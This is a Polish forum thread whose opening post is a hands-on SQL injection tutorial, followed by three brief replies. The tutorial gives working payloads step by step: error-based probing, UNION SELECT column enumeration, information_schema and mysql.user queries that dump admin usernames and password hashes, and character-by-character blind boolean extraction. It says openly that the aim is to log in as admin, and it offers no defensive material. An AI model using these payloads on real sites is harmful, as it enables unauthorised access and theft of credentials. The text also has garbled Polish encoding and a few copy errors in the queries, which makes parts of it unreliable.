Witaj użytkowniku niezalgowany!
Zarejestruj się na forum uż dziś - nie będziesz widzieć żadnych reklam!

Sql Injection pentestering

#1

Sql Injection pentestering

SQL Injection Poradnik mini kozaczonko taki maly  !

W tym tutorialu pokażę wam jak działa SQL Injection i jak z niego korzystać

w celu pozyskania pożytecznych informacji.

 

Po pierwsze: Co to jest SQL Injection?

 

Jest to jeden z najczęciej występujšcych błędów w aplikacjach sieciowych.

Pozwala atakujšcemu na wykonanie zapytania do bazy danych ( najczęciej MySQL )

w adresie URL i zdobycie poufnych informacji. ( w wielkim skrócie )

 

1. SQL Injection ( klasyczny błšd lub jakkolwiek go nie nazywać) Big grin

2. Blind SQL Injection ( częć trudniejsza )

 

Bierzmy się więc do dzieła Big grin

 

a). Sprawdzanie podatnoci.

 

Powiedzmy, że mamy stronę takš jak ta:

 

[Obrazek: attachment.php?aid=719]

 

Teraz aby sprawdzić, czy strona jest podatna, dodamy ' na koniec url'a.

Będzie to wyglšdać tak:

 

[Obrazek: attachment.php?aid=719]'

 

I dostajemy błšd podobny do tego:

 

"You have an error in your SQL syntax; check the manual that corresponds to

your MySQL server version for the right etc..."

 

lub co podobnego

 

To znaczy, że strona jest podatna na SQL Injection Smile

 

B). Znajd liczbę kolumn.

 

Aby znaleć liczbę kolumn, użyjemy klauzuli ORDER BY ( mówi bazie danych jak

uporzšdkować wynik ). Więc, jak tego używać? Po prostu, zwiększamy liczbę,

dopóki nie otrzymamy błędu.

 

[Obrazek: attachment.php?aid=719] order by 1/* <-- brak błędu

 

[Obrazek: attachment.php?aid=719] order by 2/* <-- brak błędu

 

[Obrazek: attachment.php?aid=719] order by 3/* <-- brak błędu

 

[Obrazek: attachment.php?aid=719] order by 4/* <-- błšd ! dostajemy wiadomoć

podobnš do tego: "Unknown column '4' in 'order clause'" lub co podobnego.

To oznacza, że strona ma 3 kolumny, bo dostajemy błšd przy 4 - nieistniejšcej.

 

c) Sprawdzanie funkcjš UNION.

 

Z unionem możemy otrzymać więcej danych w jednym zapytaniu.

 

Więc mamy:

 

[Obrazek: attachment.php?aid=719] union all select 1,2,3/*

( znalelimy już przedtem liczbę kolumn w podpunkcie 2 )

 

Jeli zobaczymy jakie liczby jak 1, 2, 3 to znaczy, że UNION działa Big grin

 

d) Sprawdzanie wersji MySQL.

 

[Obrazek: attachment.php?aid=719] union all select 1,2,3/*

 

| WAŻNE: jeli /* nie zadziała lub dostaniesz jaki błšd, to spróbuj --

Jest to komentarz i jest ważny, aby nasze zapytanie działało poprawnie.

 

Powiedzmy, że mamy numer 2 na ekranie, aby teraz sprawdzić wersję zamienimy

numer 2 na @@version lub version() i dostaniemy co podobnego do 4.1.33-log

lub 5.0.45 lub co podobnego.

 

Powinno to wyglšdać tak:

 

[Obrazek: attachment.php?aid=719] union all select 1,@@version,3/*

 

Jeli dostaniesz błšd podobny do tego: "union + illegal mix of collations (IMPLICIT + COERCIBLE) ..."

 

( nie widziałem żadnego tuta wyjaniajšcego ten błšd, więc muszę napisać Big grin )

 

Potrzebujemy funkcji convert().

 

np.

 

[Obrazek: attachment.php?aid=719] union all select 1,convert(@@version using latin1),3/*

 

lub z hex() i unhex()

 

np.

 

[Obrazek: attachment.php?aid=719] union all select 1,unhex(hex(@@version)),3/*

 

i dostaniesz wersję MySQL.

 

e). Zdobywanie tabeli i nazwy kolumny.

 

Więc jeli wersja MySQL jest mniejsza niż 5 (np. 4.1.33, 4.1.12... póniej

napisze o wersjach wyższych niż 5 ), to musimy odgadnšć nazwę tabel i kolumn

( w większoci przypadków ).

 

Wspólne nazwy tabel to: user/s, admin/s, member/s...

 

Wspólne nazwy kolumn to: username, user, usr, user_name, password, pass, passwd, pwd, etc...

 

Np.

 

[Obrazek: attachment.php?aid=719] union all select 1,2,3 from admin/*

 

| (tak jak wczeniej, widzimy numer 2 na ekranie, więc jest dobrze Big grin)

 

Wiemy, że tabela admin istnieje...

 

Teraz sprawdmy nazwy kolumn.

 

[Obrazek: attachment.php?aid=719] union all select 1,username,3 from admin/*

 

| ( jeli dostaniesz błšd, spróbój innej nazwy kolumny ).

 

Po takim zapytaniu, otrzymujemy nazwę userów na ekranie, dla przykładu

admin, superadmin itp...

 

Teraz sprawdmy czy istnieje kolumna z hasłami.

 

[Obrazek: attachment.php?aid=719] union all select 1,password,3 from admin/*

 

| ( jeli dostaniesz błšd, spróbuj innej nazwy kolumny ).

 

I naszym oczom ukazujš się zakodowane hasła lub zwykły tekst, zależne od

tego jak jest ustawiona baza danych. Smile

 

Np. md5 hash, mysql hash, sha1... <-- to tylko niektóre przykłady kodowania haseł .

 

Teraz musimy dokończyć zapytanie aby ładnie wyglšdało Smile

 

Do tego możemy użyć funkcji concat() ( łšczy ona stringi ).

 

Np.

 

[Obrazek: attachment.php?aid=719] union all select 1,concat(username,0x3a,password),3 from admin/*

 

Zauważ, że gdy piszę 0x3a, to tak jakbym w hexach napisał dwukropek

( można to zastšpić tym: char(58), wartoci ascii Smile)

 

[Obrazek: attachment.php?aid=719] union all select 1,concat(username,char(58),password),3 from admin/*

 

Teraz informacje zostajš wywietlane tak: username:password

lub admin:admin lub adminConfusedomehash

 

Kiedy masz już co takiego, możesz się zalogować jako admin

lub superuser Big grin

 

Jeli nie możesz zgadnšć właciwej nazwy tabeli, możesz zawsze

spróbować mysql.user (domylnie).

 

Ta ma kolumny użytkownika i hasła, więc przykładem może być:

 

[Obrazek: attachment.php?aid=719] union all select 1,concat(user,0x3a,password),3 from mysql.user/*

 

 

f). MySQL 5.

 

Tak jak powiedziałem przedtem, zamierzam teraz wytłumaczyć jak zdobyć nazwy kolumn

i tabel w wersji MySQL wyższej niż 5. Będziemy potrzebowali information_schema. Zawiera

ona wszystkie tabele i kolumny w bazie danych.

 

Aby zdobyć tabele użyjemy table_name i information_schema.tables.

 

Np.

 

[Obrazek: attachment.php?aid=719] union all select 1,table_name,3 from information_schema.tables/*

 

Tutaj zamieniamy ansz numer 2 z table_name aby otrzymać pierwszš tabelę z information_schema.tables

i wywietlić jš na ekranie. Teraz musimy dodać LIMIT na koniec zapytania, aby móc wywietlić inne tabele.

 

Np.

 

[Obrazek: attachment.php?aid=719] union all select 1,table_name,3 from information_schema.tables limit 0,1/*[/i]

 

Zauważ, że wpisałem 0,1 ( pierwszy wynik zaczynam od 0 ).

 

Np.

 

[Obrazek: attachment.php?aid=719] union all select 1,table_name,3 from information_schema.tables limit 1,1/*

 

I druga tabela zostaje wywietlona. Smile

Trzeciej tabeli przydzielimy limit 2,1.

 

Np.

 

[Obrazek: attachment.php?aid=719] union all select 1,table_name,3 from information_schema.tables limit 2,1/*

 

Próbuj do tej pory, aż zostanš wywietlone ważne tabele np. db_admin, poll_user, auth, auth_user itp... Big grin

 

Metoda na zdobycie nazw kolumn jest taka sama. Używamy column_name i information_schema.columns.

Metoda jest taka sama jak wyżej więc przykładem będzie:

 

[Obrazek: attachment.php?aid=719] union all select 1, column_name,3 from information_schema.columns limit 0,1/*

 

I pierwsza kolumna zostaje wywietlona.

 

Druga kolumna ( zmieniamy limit z 0,1 na 1,1)

 

Np.

 

[Obrazek: attachment.php?aid=719] union all select 1,column_name,3 from information_schema.columns limit 1,1/*

 

Druga kolumna wywietlona, próbować trzeba dotšd, aż otrzymasz co takiego:

username,user,login, password, pass, passwd etc... Big grin

 

Jeli chcesz wywietlić nazwy kolumn dla danej tabeli użyj tego zapytania.

Powiedzmy, że znalelimy tabele users.

 

Np.

 

[Obrazek: attachment.php?aid=719] union all select 1,column_name,3 from information_schema.columns where table_name='users'/*

 

I mamy wywietlone nazwy kolumn z tej tabeli Smile. Używajšc LIMIT możemy wywietlić całš

listę kolumn z tej tabeli.

 

Zauważ, że to nie działa gdy uruchomione sš magic quotes.

 

Powiedzmy, że znalelimy kolumny user, pass i email.

Teraz zakończmy nasze zapytanie, i wypiszmy je wszystkie razem Big grin

Do tego użyjemy concat(), opisałem to wczeniej.

 

Np.

 

[Obrazek: attachment.php?aid=719] union all select 1,concat(user,0x3a,pass,0x3a,email) from users/*

 

I mamy user:pass:email z tabeli users.

 

przykład: admin:hash:whatever@blabla.com

 

To już koniec tej częci, przejdmy teraz do częci trudniejszej Smile

 

2. Blind SQL Injection.

 

Blind Injection jest trochę bardziej skomplikowane niż zwykłe wstrzykiwanie kodu,

ale może być zrobione Big grin. Muszę wspomnieć, że jest jeden bardzo dobry tutorial, napisany

przez xprog'a, więc polecam go przeczytać Big grin ( będę go tłumaczył ).

 

Zacznijmy rzeczy zaawansowane.

 

Będę używać naszego starego przykładu.

 

[Obrazek: attachment.php?aid=719]

 

Gdy to wstukamy, zobaczymy jakš stronę z artykułami, zdjęciami itp.

Teraz chcemy przetestować atak Blind SQL Injection.

 

[Obrazek: attachment.php?aid=719] and 1=1 <-- to zawsze prawda

 

i strona ładuje się normalnie, to dobrze.

 

Teraz prawdziwy test.

 

[Obrazek: attachment.php?aid=719] and 1=2 <--- to jest nieprawda

 

Więc, jeli jaki tekst, zdjęcie lub inna treć jest brakujšca na zwróconej stronie,

to oznacza że strona jest podatna na Blind SQL Injection.

 

a). Sprawdzanie wersji MySQL.

 

Aby zdobyć wersję MySQL w Blind SQLInj, użyjemy substring'a

 

Np.

 

[Obrazek: attachment.php?aid=719] and substring(@@version,1,1)=4

 

Powinno zwrócić TRUE jeli wersja MySQL to 4.

Zamień 4 na 5, i jeli zapytanie zwróci TRUE, wtedy wersja MySQL to 5.

 

Np.

 

[Obrazek: attachment.php?aid=719] and substring(@@version,1,1)=5

 

B). Sprawd czy działa subselect.

 

Jeli nie działa SELECT, użyjmy SUBSELECT

 

Np.

 

[Obrazek: attachment.php?aid=719] and (select 1)=1

 

Jeli strona załaduje się normalnie to znaczy, że SUBSELECT działa.

Teraz sprawdzimy czy mamy dostęp do mysql.user

 

Np.

 

[Obrazek: attachment.php?aid=719] and (select 1 from mysql.user limit 0,1)=1

 

Jeli strona ładuje się normalnie to mamy dostęp do mysql.user i póniej możemy

wycišgnšć jakie hasła używajšc funkcji load_file() i OUTFILE.

 

c). Sprawdzanie nazw kolumn i tabel.

 

To jest częć, kiedy zapytanie jest twoim najlepszym przyjacielem Smile

 

Np.

 

[Obrazek: attachment.php?aid=719] and (select 1 from users limit 0,1)=1

 

( z LIMIT'em 0,1 nasze zapytanie zwraca jeden wiersz danych, ponieważ

SUBSELECT zwraca tylko 1 wiersz, to bardzo ważne )

 

Teraz, jeli strona załaduje się normalnie, bez żadnej zgubionej treci,

to tabela users istnieje. Jeli dostałe FALSE ( brakuje jakiej częci

tekstu), po prostu zmieniaj nazwy tabel dopóki nie odgadniesz tej poprawnej Smile

 

Powiedzmy, że odgadłe te tabelę o nazwie users, teraz potrzebujesz nazwę kolumny.

Sprawdmy najpierw nazwę takš jak tablicy. Jak powiedziałem wczeniej, próbuj

wspólnych nazw dla kolumn.

 

Np.

 

[Obrazek: attachment.php?aid=719] and (select substring(concat(1,password),1,1) from users limit 0,1)=1

 

Jeli strona ładuje się normalnie, wiemy że nazwa kolumny to password ( jeli

dostaniemy FALSE próbuj innych wspólnych nazw, lub po prostu zgaduj)

 

d). Pobierz dane z bazy danych.

 

Znalelimy w tabeli users kolumny username i password, więc teraz wycišgniemy

z nich dane.

 

[Obrazek: attachment.php?aid=719] and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80

 

Ok tutaj wycišgamy pierwszy znak od pierwszego użytkownika w tabeli użytkowników.

 

SUBSTRING zwraca nam pierwszy znak i pierwszy znak długoci (?) ascii() konwertuje

ten pierwszy znak do wartoci ascii a następnie porównuje go znakiem >.

 

Więc, jeli ASCII char jest większy niż 80, strona ładuje się normalnie (PRAWDA)

 

Próbujmy dalej, aż dostaniemy fałsz.

 

[Obrazek: attachment.php?aid=719] and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>95

 

dostajemy PRAWDA, dalej zwiększamy

 

[Obrazek: attachment.php?aid=719] and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>98

 

znowu PRAWDA, wyżej.

 

[Obrazek: attachment.php?aid=719] and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

 

FAŁSZ!!

 

Więc pierwszym znakiem w username jest char(99). Używamy konwertera ascii i dowiadujemy się, że char(99) to litera 'c'.

 

Teraz poszukajmy drugiego znaku.

 

[Obrazek: attachment.php?aid=719] and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99

 

Zauważ to, że zmieniłem ,1,1 na ,2,1 aby zdobyć drugi znak. ( teraz zwraca drugi znak )

 

[Obrazek: attachment.php?aid=719] and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

 

PRAWDA, strona ładuje się normalnie, lecimy wyżej.

 

[Obrazek: attachment.php?aid=719] and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107

 

FAŁSZ, numer niżej

 

[Obrazek: attachment.php?aid=719] and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104

 

PRAWDA, wyżej

 

[Obrazek: attachment.php?aid=719] and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105

 

FAŁSZ!!

 

I już wiemy, że druga litera to char(105) czyli 'i'. Więc mamy już 'ci'. Nie przestawaj

dopóki nie dojdziesz do końca ( jeli> 0 zwraca FALSE wiemy, że dotarlimy do końca).

 

Sš pewne narzędzia do Blind SQL Injection, myslę że sqlmap jest najlepsze, ale zawsze robię wszystko sam, bo to pozwala mi stać się lepszym SQL INJECTOR'em Big grin

 

Mam nadzieję, że czego się nauczyłe.

 

Miłej zabawy.

 

kozaczonko@hacking.pl

 

Pozdrawiam, Kozaczonko

Odpowiedz
#2

Sql Injection pentestering

Szczerzę to jestem mile zaskoczony takim poradnikiem w tym dziale. Jednak przyznaj mi rację, estetyka mogłaby być lepsza? :-)

Wielki lajk.

Odpowiedz
#3

Sql Injection pentestering
No mogła ale nie dbam o estetyke wale na pałe Smile 
Odpowiedz
#4

Sql Injection pentestering
Ok ok ale to wszystko w przegladarce?Tongue
Odpowiedz




Użytkownicy przeglądający ten wątek:
1 gości

Theme © iAndrew 2017 Forum software by © MyBB .